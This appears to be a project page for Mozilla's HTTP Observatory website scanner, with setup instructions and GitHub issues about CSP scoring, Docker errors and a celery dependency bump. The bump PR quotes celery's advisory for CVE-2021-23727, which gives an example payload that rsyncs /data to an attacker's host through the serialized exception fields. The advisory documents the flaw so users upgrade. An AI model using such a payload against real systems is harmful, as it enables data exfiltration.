Python-Http observatory: Mozilla HTTP Observatory

Mozilla HTTP Observatory - Build Status Requirements Status

The Mozilla HTTP Observatory is a set of tools to analyze your website and inform you if you are utilizing the many available methods to secure it.

It is split into three projects:

Scanning sites with the HTTP Observatory

Sites can be scanned using:

Contributing

Prerequisites

  • Python 3
  • Git
  • pip3

Notes

These instructions assume that you have a working Python3 development environment with pip3 installed and capable of building requirements, which may require installing an additional python OS package (-dev, -devel).

If this is not appropriate for your environment, you may install the appropriate requirements using your OS package manager (or other means) and skip the pip3 -r requirements command.

Running a scan from the local codebase, without DB, for continuous integration

# Install the HTTP Observatory
$ git clone https://github.com/mozilla/http-observatory.git
$ cd http-observatory
$ pip3 install --upgrade .
$ pip3 install --upgrade -r requirements.txt

Using the local scanner function calls

>>> from httpobs.scanner.local import scan
>>> scan('observatory.mozilla.org')  # a scan with default options
>>> scan('observatory.mozilla.org',  # all the custom options
         http_port=8080,             # http server runs on port 8080
         https_port=8443,            # https server runs on port 8443
         path='/foo/bar',            # don't scan /, instead scan /foo/bar
         cookies={'foo': 'bar'},     # set the "foo" cookie to "bar"
         headers={'X-Foo': 'bar'},   # send an X-Foo: bar HTTP header
         verify=False)               # treat self-signed certs as valid for tests like HSTS/HPKP

The same, but with the local CLI

$ httpobs-local-scan --http-port 8080 --https-port 8443 --path '/foo/bar' \
    --cookies '{"foo": "bar"}' --headers '{"X-Foo": "bar"}' --no-verify mozilla.org

Running a local scanner with Docker

# Install the HTTP Observatory client and requests library
$ git clone https://github.com/mozilla/http-observatory.git
$ cd http-observatory
$ pip3 install .
$ pip3 install --upgrade requests

# Create docker machine
$ docker-machine create --driver virtualbox --virtualbox-disk-size "40000" http-observatory

# Save the URL to the API in your .profile, .bash_profile, or whatever
$ echo export HTTPOBS_API_URL=http://$(docker-machine ip http-observatory):57001/api/v1 >> ~/.profile
$ . ~/.profile

# Start up the docker instance and install all the pieces
$ eval $(docker-machine env http-observatory)
$ docker-compose up -d

Creating a local installation (tested on Ubuntu 15)

# Install git, postgresql, and redis
# sudo -s
# apt-get install -y git libpq-dev postgresql redis-server

# Clone the repo
# cd /opt
# git clone https://github.com/mozilla/http-observatory.git
# cd http-observatory

# Install the observatory and scanner
# pip install .
# pip3 install -r requirements.txt

# Install the database
# su - postgres
$ createdb http_observatory
$ psql http_observatory < httpobs/database/schema.sql
$ psql http_observatory
http_observatory=# \password httpobsapi
http_observatory=# \password httpobsscanner
# vi /etc/postgresql/9.4/main/postgresql.conf (set max_connections = 512, shared_buffers = 256MB)
# service postgresql restart

# Create the httpobs user, and log/pid directories
# useradd -m httpobs
# install -m 750 -o httpobs -g httpobs -d /var/run/httpobs /var/log/httpobs

# Update the environmental variables
# su - httpobs
$ echo export HTTPOBS_API_URL="http://localhost:57001/api/v1" >> ~/.profile

# Start the scanner
$ cd /opt/http-observatory
$ HTTPOBS_DATABASE_USER="httpobsscanner" HTTPOBS_DATABASE_PASS="....." \
    /opt/http-observatory/httpobs/scripts/httpobs-scan-worker

# Start the API (in another terminal)
# HTTPOBS_DATABASE_USER="httpobsapi" HTTPOBS_DATABASE_PASS="....." \
    uwsgi --http :57001 --wsgi-file httpobs/website/main.py --processes 8 --callable app --master

Authors

  • April King

License

  • Mozilla Public License Version 2.0

Comments

  • CSP help
    CSP help

    Oct 6, 2021

    Hello

    I have this header csp in my .htaccess.

    Header set Content-Security-Policy "script-src 'unsafe-inline' 'self' http: https://perfecteclass.com.cy; object-src 'none'; base-uri 'none'; form-action 'self'; frame-ancestors 'self' https://www.perfecteclass.com.cy;"

    if i put 'strict-dynamic' in script-src scripts from the my site not loading the same result have the require-trusted-types-for 'script'; So i get B in mozilla observatory.

    image

    What can i do so i can put 'strict-dynamic' and require-trusted-types-for 'script' and the scripts of the site loading right so i can get an A from observatory?

    Thank you

    question 
    Reply
  • Subresource Integrity warning for scripts with data-uri
    Subresource Integrity warning for scripts with data-uri

    Nov 4, 2021

    I get this warning: "Subresource Integrity (SRI) not implemented, and external scripts are loaded over HTTP or use protocol-relative URLs via src="//...", even though the only script on my page is:

    <script src="data:text/javascript;base64,YWxlcnQoMSkK" type=text/javascript></script>
    

    This is the website I tested it on: https://observatory.mozilla.org/analyze/exyi.cz

    I don't want to stop using the base64 inline scripts - it allows them to have defer attribute and provides less opportunities for exploitation JSON encoded data in the script by injecting </script> in a string

    Reply
  • hsts-preloaded not taken into account
    hsts-preloaded not taken into account

    Nov 15, 2021

    I see in the scoring methodology that sites that are "Preloaded via the HTTP Strict Transport Security (HSTS) preloading process" get an additional 5 points. We have several domains that are preloaded though we never get the +5 score

    Example: https://observatory.mozilla.org/analyze/www.skybrary.aero https://hstspreload.org/?domain=skybrary.aero

    Is this me missing something or is there an issue in the scoring. Thanks

    Reply
  • Not Working for localhost website
    Not Working for localhost website

    Dec 16, 2021

    Hello, I get the error "Cannot scan non-standard ports" as I need to scan the localhost, I have also tried to install it on my windows machine using pip command but there also I am not able to scan on localhost website.

    httpobs-cli $httpobs-local-scan --http-port 8080 --https-port 8443 --path '/foo/bar' \ --cookies '{"foo": "bar"}' --headers '{"X-Foo": "bar"}' --no-verify mozilla.org

    usage: httpobs-cli [options] host httpobs-cli: error: unrecognized arguments: --http-port 8080 --https-port 8443 --path '/foo/bar' \ --cookies '{foo: bar}' --headers '{X-Foo: bar}' --no-verify mozilla.org

    can someone please suggest how could I scan the following localhost app:

    https://localhost:44315/

    Reply
  • Bump celery from 4.2.1 to 5.2.2 in /httpobs
    Bump celery from 4.2.1 to 5.2.2 in /httpobs

    Jan 6, 2022

    Bumps celery from 4.2.1 to 5.2.2.

    Release notes

    Sourced from celery's releases.

    5.2.2

    Release date: 2021-12-26 16:30 P.M UTC+2:00

    Release by: Omer Katz

    • Various documentation fixes.

    • Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

      When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:

      {
            "exc_module": "os",
            'exc_type': "system",
            "exc_message": "rsync /data [email protected]:~/data"
      }
      

      According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

    v5.2.1

    Release date: 2021-11-16 8.55 P.M UTC+6:00

    Release by: Asif Saif Uddin

    • Fix rstrip usage on bytes instance in ProxyLogger.
    • Pass logfile to ExecStop in celery.service example systemd file.
    • fix: reduce latency of AsyncResult.get under gevent (#7052)
    • Limit redis version: <4.0.0.
    • Bump min kombu version to 5.2.2.
    • Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.

    ... (truncated)

    Changelog

    Sourced from celery's changelog.

    5.2.2

    :release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz

    • Various documentation fixes.

    • Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

      When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:

      .. code-block:: python

        {
              "exc_module": "os",
              'exc_type': "system",
              "exc_message": "rsync /data [email protected]:~/data"
        }
      

      According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

    .. _version-5.2.1:

    5.2.1

    :release-date: 2021-11-16 8.55 P.M UTC+6:00 :release-by: Asif Saif Uddin

    • Fix rstrip usage on bytes instance in ProxyLogger.
    • Pass logfile to ExecStop in celery.service example systemd file.
    • fix: reduce latency of AsyncResult.get under gevent (#7052)
    • Limit redis version: <4.0.0.
    • Bump min kombu version to 5.2.2.

    ... (truncated)

    Commits

    Dependabot compatibility score

    Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


    Dependabot commands and options

    You can trigger Dependabot actions by commenting on this PR:

    • @dependabot rebase will rebase this PR
    • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
    • @dependabot merge will merge this PR after your CI passes on it
    • @dependabot squash and merge will squash and merge this PR after your CI passes on it
    • @dependabot cancel merge will cancel a previously requested merge and block automerging
    • @dependabot reopen will reopen this PR if it is closed
    • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
    • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    • @dependabot use these labels will set the current labels as the default for future PRs for this repo and language
    • @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language
    • @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language
    • @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

    You can disable automated security fix PRs for this repo from the Security Alerts page.

    dependencies 
    Reply
  • Content Security Policy (CSP) implemented unsafely
    Content Security Policy (CSP) implemented unsafely

    Jan 12, 2022

    My site using lot inline JS ans CSS. When I'm using unsafe-inline , Mozilla showing (CSP) implemented unsafely. How can keep score on Mozilla using unsafe-inline ?

    Reply
  • docker-compose up fails
    docker-compose up fails

    Apr 25, 2017

    Hi,

    I'm encountering the following error when running the docker image version of this:

    httpobservatory_redis_1 is up-to-date
    Recreating httpobservatory_postgres_1 ... 
    Recreating httpobservatory_postgres_1 ... done
    Recreating httpobservatory_scanner_1 ... 
    Recreating httpobservatory_website_1 ... 
    Recreating httpobservatory_scanner_1
    Recreating httpobservatory_website_1 ... error
    
    Recreating httpobservatory_scanner_1 ... done
    
    ERROR: for website  Cannot start service website: oci runtime error: container_linux.go:247: starting container process caused "exec: \"uwsgi\": executable file not found in $PATH"
    ERROR: Encountered errors while bringing up the project.
    

    Current docker version is: Docker version 17.05.0-ce-rc1, build 2878a85

    Current docker-compose version is: docker-compose version 1.13.0-rc1, build 38af513

    bug docker 
    Reply
  • "Session cookie set without using the HttpOnly flag"

    Feb 21, 2017

    Hi,

    just checked session cookies. Got: "Session cookie set without using the HttpOnly flag" But Server Raw Header shows: "Set-Cookie secure; httponly"

    question 
    Reply
  • Problem with the
    Problem with the "Redirection" in the http header testing result

    Dec 15, 2016

    I found a problem that the "Redirection" results are different when scan the same website. One is scan "www.test.com", and the other one is "www.test.com:80". I think they are the same target, but the results are different: the "Redirection" result shows "Pass" when scan "www.test.com", but "Failed" when scan "www.test.com:80". The problem seems like a bug I think. @marumari , could you please check this issue, and fix it if it's a bug? Thank you very much!

    question 
    Reply
  • https://http-observatory.security.mozilla.org/api/v1/ not available anymore..?
    https://http-observatory.security.mozilla.org/api/v1/ not available anymore..?

    Sep 3, 2019

    Hi,

    I was just trying to scan one of the web sites we are maintaining but I'm keep getting:

    observatory [ERROR] Error: ESOCKETTIMEDOUT

    Every time I'm running observatory-cli..

    I was also trying to access observatory API URL via browser but when I'm trying to open: https://http-observatory.security.mozilla.org/api/v1/ I'm getting 404 response..

    Can I ask if API has new home? Or it's simply not available anymore?

    Reply
  • CSP and Referrer-Policy meta tag not recognized
    CSP and Referrer-Policy meta tag not recognized

    Aug 31, 2016

    Having the CSP-Header in a HTML-Meta tag seems not to be recognized, although it is stated here as an implemenation example: https://wiki.mozilla.org/Security/Guidelines/Web_Security#Content_Security_Policy

    See here: https://observatory.mozilla.org/analyze.html?host=dotbox.org

    enhancement scoring 
    Reply
  • Check for contribute.json seems unwarranted
    Check for contribute.json seems unwarranted

    Jul 26, 2016

    Most of the checks in HTTP Observatory are reasonable security best-practices that alter the functioning of the site. However the check for a contributing.json file seems markedly different; it doesn't represent any kind of accepted best practice and the presence or absence of such a file doesn't materially alter the functioning of the site in any way.

    Although I agree that the goal of making information about the provenance of a site available is laudable, the approach taken by contributing.json follows a design pattern of relegating metadata to some default-invisible location. This has been tried in many contexts on the web and had repeatedly failed (in the sense that tools which intended to consume such data found that the data quality was so low that they could not reliably do so). Unless the data is visible in the site UI people will forget to update it when reality changes, and the file will become defacto untrustworthy. Scoring people on the presence of the file without any way to validate that the information contained therein is actually meaningful does not seem like it will help with this problem. Therefore I suggest that this check is removed from the tool and that the approach to surfacing this (potentially useful) data reevaluated, taking into account the fact that people are much more likely to keep it up to date if it is actually visible on their site.

    Reply